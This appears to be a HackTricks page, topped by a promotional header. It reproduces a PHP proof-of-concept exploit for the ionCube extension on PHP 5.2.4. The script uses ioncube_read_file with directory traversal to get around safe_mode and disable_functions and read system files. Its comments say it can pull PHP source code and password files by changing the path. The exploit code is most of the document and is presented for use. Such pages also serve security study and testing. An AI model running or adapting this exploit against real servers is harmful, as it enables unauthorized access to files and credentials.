2022-05-01 13:25:53 +00:00

3.5 KiB

Raw Blame History

Support HackTricks and get benefits!

Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!

Discover The PEASS Family, our collection of exclusive NFTs

Get the official PEASS & HackTricks swag

Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.

Share your hacking tricks submitting PRs to the hacktricks github repo.

PHP 5.2.4 ionCube extension Exploit

<?php
//PHP 5.2.4 ionCube extension safe_mode and disable_functions protections bypass
 
//author: shinnai
//mail: shinnai[at]autistici[dot]org
//site: http://shinnai.altervista.org
 
//Tested on xp Pro sp2 full patched, worked both from the cli and on apache
 
//Technical details:
//ionCube version: 6.5
//extension: ioncube_loader_win_5.2.dll (other may also be vulnerable)
//url: www.ioncube.com
 
//php.ini settings:
//safe_mode = On
//disable_functions = ioncube_read_file, readfile
 
//Description:
//This is useful to obtain juicy informations but also to retrieve source
//code of php pages, password files, etc... you just need to change file path.
//Anyway, don't worry, nobody will read your obfuscated code :)
 
//greetz to: BlackLight for help me to understand better PHP
 
//P.S.
//This extension contains even an interesting ioncube_write_file function...
if (!extension_loaded("ionCube Loader")) die("ionCube Loader extension required!");
$path = str_repeat("..\\", 20);
$MyBoot_readfile = readfile($path."windows\\system.ini"); #just to be sure that I set correctely disable_function :)
$MyBoot_ioncube = ioncube_read_file($path."boot.ini");
echo $MyBoot_readfile;
echo "<br><br>ionCube output:<br><br>";
echo $MyBoot_ioncube;
?>